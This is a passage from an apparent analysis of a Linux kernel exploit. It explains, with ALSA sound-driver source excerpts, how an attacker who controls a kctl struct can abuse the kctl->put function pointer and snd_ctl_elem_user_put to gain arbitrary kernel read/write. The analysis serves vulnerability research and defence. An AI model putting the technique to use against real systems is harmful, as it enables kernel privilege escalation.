normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">(!result)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">result</span><span style="background-color: #fff2cc; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="background-color: #fff2cc; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl->put(kctl,</span><span style="background-color: #fff2cc; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="background-color: #fff2cc; color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">control);</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">//Drop</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">the</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">locks</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">and</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">return</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /></span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">While there are a couple different options available in this function to take advantage of an attacker-controlled </span><span style="background-color: #fff2cc; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, the most apparent is the call to </span><span style="background-color: #fff2cc; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl->put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. Since the attacker has arbitrary control of the </span><span style="background-color: #fff2cc; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl->put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> function pointer, they could have used this call right away to gain control over the program counter. However in this case they chose to store the developer-intended </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_user_put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> function pointer in the </span><span style="background-color: #fff2cc; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kctl->put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> member and use the call to that function to gain arbitrary r/w instead. By default, </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_user_put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> is the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> function for </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> structs. </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_user_put</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> does the following operations:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">user_element</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*elem_data;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">element</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">data</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">long</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">elem_data_size;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">of</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">element</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">data</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">in</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">bytes</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*/</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-indent: 36pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">...</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">};</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">static</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_user_put(</span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*kcontrol,</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_value</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*ucontrol)</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">change;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">user_element</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*ue</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kcontrol->private_data;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">unsigned</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">int</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">size</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ue->elem_data_size;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #9334e6; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">char</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">*dst</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">=</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ue->elem_data</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; 